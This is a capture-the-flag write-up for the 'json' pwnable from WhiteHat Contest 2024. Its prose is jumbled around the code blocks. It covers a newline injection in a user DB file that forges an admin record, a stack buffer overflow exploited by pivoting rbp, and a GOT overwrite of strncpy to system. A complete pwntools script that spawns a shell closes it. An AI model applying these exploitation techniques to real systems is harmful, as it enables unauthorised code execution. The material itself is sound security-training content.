WhiteHat Contest 2024 - json
Table of Contents
WhiteHat Contest 2024 pwnable challenge Looking at the Based on this DB file, when Information about issued sessions is stored in this structure format. When However, there’s no validation for Calling I thought I just needed to perform ROP, but unfortunately there were no gadgets to set arguments. Initially, I tried using registers at the end of Thinking that there must be a reason for the existance of The This made me think of GOT overwrite. Since 0x00. Introduction
[*] '/home/user/json'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000) Concept
init() function, each execution creates a USER_FILE named /users/[random string] to use it as a DB file. Initially, it reads and saves the user_base.bin file as-is with the following content.[2|guest|guest|guest memo] 2 : typeguest : userguest : passguest memo : memouser and pass match, it issues a token to create a session and stores that information in the session global variable. Structure
struct sess // sizeof=0x40
{
char user[16];
char pass[16];
char *memo;
__int64 type;
char token[16];
}; Goal
int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
...
else if ( !strcmp((const char *)s, "UpdateMemo") && LOBYTE(session->type) == '1' )
{
update_memo();
}
...
}
char *update_memo()
{
char buf[16]; // [rsp+0h] [rbp-10h] BYREF
read(0, buf, 0x100uLL);
return strncpy((char *)session->memo, buf, 0x100uLL);
}type is 1, we can call update_memo(), which has a BOF vulnerability. 0x01. Vulnerability
void __fastcall create_user(__int64 json)
{
...
stream = fopen(USER_FILE, "ab");
...
extract(json, "user", user, 16);
extract(json, "pass", pass, 16);
extract(json, "memo", memo, 256);
if ( *(_BYTE *)user && *(_BYTE *)pass && *(_BYTE *)memo )
{
fwrite("[", 1uLL, 1uLL, stream);
fwrite("2", 1uLL, 1uLL, stream);
fwrite("|", 1uLL, 1uLL, stream);
fwrite(user, 1uLL, 0x10uLL, stream);
fwrite("|", 1uLL, 1uLL, stream);
fwrite(pass, 1uLL, 0x10uLL, stream);
fwrite("|", 1uLL, 1uLL, stream);
fwrite(memo, 1uLL, 0x100uLL, stream);
fwrite("]\n", 1uLL, 2uLL, stream);
}
...
}create_user() allows adding users to USER_FILE, but type is hardcoded to 2.memo, making injection possible.memo : AAAA]\n[1|admin|admin|admin memo[2|guest|guest|guest memo]
[2|AAAA|AAAA|AAAA]
[1|admin|admin|admin memo]create_session() with admin/admin then creates a session with type '1'. 0x02. Exploit
➜ ROPgadget --binary=json | grep rdi
0x0000000000401406 : or dword ptr [rdi + 0x405108], edi ; jmp rax
0x0000000000401c76 : ror byte ptr [rdi], 0x85 ; retfstrncpy in update_memo(), but they pointed to the end of session->memo, making it impossible to insert arguments like /bin/sh.system PLT, I examined update_memo() in assembly..text:0000000000402140 endbr64
.text:0000000000402144 push rbp
.text:0000000000402145 mov rbp, rsp
.text:0000000000402148 sub rsp, 10h
.text:000000000040214C lea rax, [rbp+buf]
.text:0000000000402150 mov edx, 100h ; nbytes
.text:0000000000402155 mov rsi, rax ; buf
.text:0000000000402158 mov edi, 0 ; fd
.text:000000000040215D call _read
.text:0000000000402162 mov rax, cs:session
.text:0000000000402169 mov rax, [rax+20h]
.text:000000000040216D lea rcx, [rbp+buf]
.text:0000000000402171 mov edx, 100h ; n
.text:0000000000402176 mov rsi, rcx ; src
.text:0000000000402179 mov rdi, rax ; dest
.text:000000000040217C call _strncpy
.text:0000000000402181 nop
.text:0000000000402182 leave
.text:0000000000402183 retnrsi argument for read is set through rbp, and since we can control rbp through BOF, AAW is also possible.strncpy’s rdi is set to session->memo, I determined we could execute a shell by placing /bin/sh there in advance. read_strncpy_gadget = 0x40214C
payload = b"/bin/sh\n" * 2
payload += p64(elf.got['strncpy'] + 0x10) # rbp
payload += p64(read_strncpy_gadget) # ret
update_memo(s, token, payload)
sleep(0.5)
payload = p64(0x4010a0) # system
s.send(payload) 0x03. Payload
from pwn import *
from pwnlib.util.packing import p32, p64, u32, u64
from time import sleep
from argparse import ArgumentParser
BINARY = "json"
LIBRARY = "libc.so.6"
CONTAINER = "f0268ff749ca"
code_base = 0x555555554000
bp = {
'main' : code_base + 0x16ae,
}
gs = f'''
b *update_memo
continue
'''
context.terminal = ['tmux', 'splitw', '-hf']
def create_session(s, user, pw):
json = f"{{method:CreateSession,user:{user},pass:{pw}}}"
s.send(json.encode())
return s.recvuntil(b"}\n")
def clear_session(s):
json = f"{{method:ClearSession}}"
s.send(json.encode())
return
def create_user(s, token, user, pw, memo):
json = f"{{token:{token},method:CreateUser,user:{user},pass:{pw},memo:{memo}}}"
s.send(json.encode())
return
def check_user(s, token):
json = f"{{token:{token},method:CheckUser}}"
s.send(json.encode())
return s.recvuntil(b"}\n")
def update_memo(s, token, payload):
json = f"{{token:{token},method:UpdateMemo}}"
s.send(json.encode())
pause()
s.send(payload)
return
def main(server, port, debug):
if(port):
s = remote(server, port)
if debug:
pid = os.popen(f"sudo docker top {CONTAINER} -eo pid,comm | grep {BINARY} | awk '{{print $1}}'").read()
gdb.attach(int(pid), gs, exe=BINARY)
else:
s = process(BINARY, env={"LD_PRELOAD" : LIBRARY})
if debug:
gdb.attach(s, gs)
elf = ELF(BINARY)
lib = ELF(LIBRARY)
token = create_session(s, "guest", "guest").split(b"token:")[1].split(b"}")[0].decode()
log.info(f"guest token : {token}")
create_user(s, token, "AAAA", "AAAA", "AAAA]\n[1|admin|admin|admin memo")
clear_session(s)
sleep(0.5)
token = create_session(s, "admin", "admin").split(b"token:")[1].split(b"}")[0].decode()
log.info(f"admin token : {token}")
read_strncpy_gadget = 0x40214C
payload = b"/bin/sh\n" * 2
payload += p64(elf.got['strncpy'] + 0x10) # rbp
payload += p64(read_strncpy_gadget) # ret
update_memo(s, token, payload)
sleep(0.5)
payload = p64(0x4010a0) # system
s.send(payload)
s.interactive()
if __name__=='__main__':
parser = ArgumentParser()
parser.add_argument('-s', '--server', type=str, default="0.0.0.0")
parser.add_argument('-p', '--port', type=int)
parser.add_argument('-d', '--debug', type=int, default=1)
args = parser.parse_args()
main(args.server, args.port, args.debug)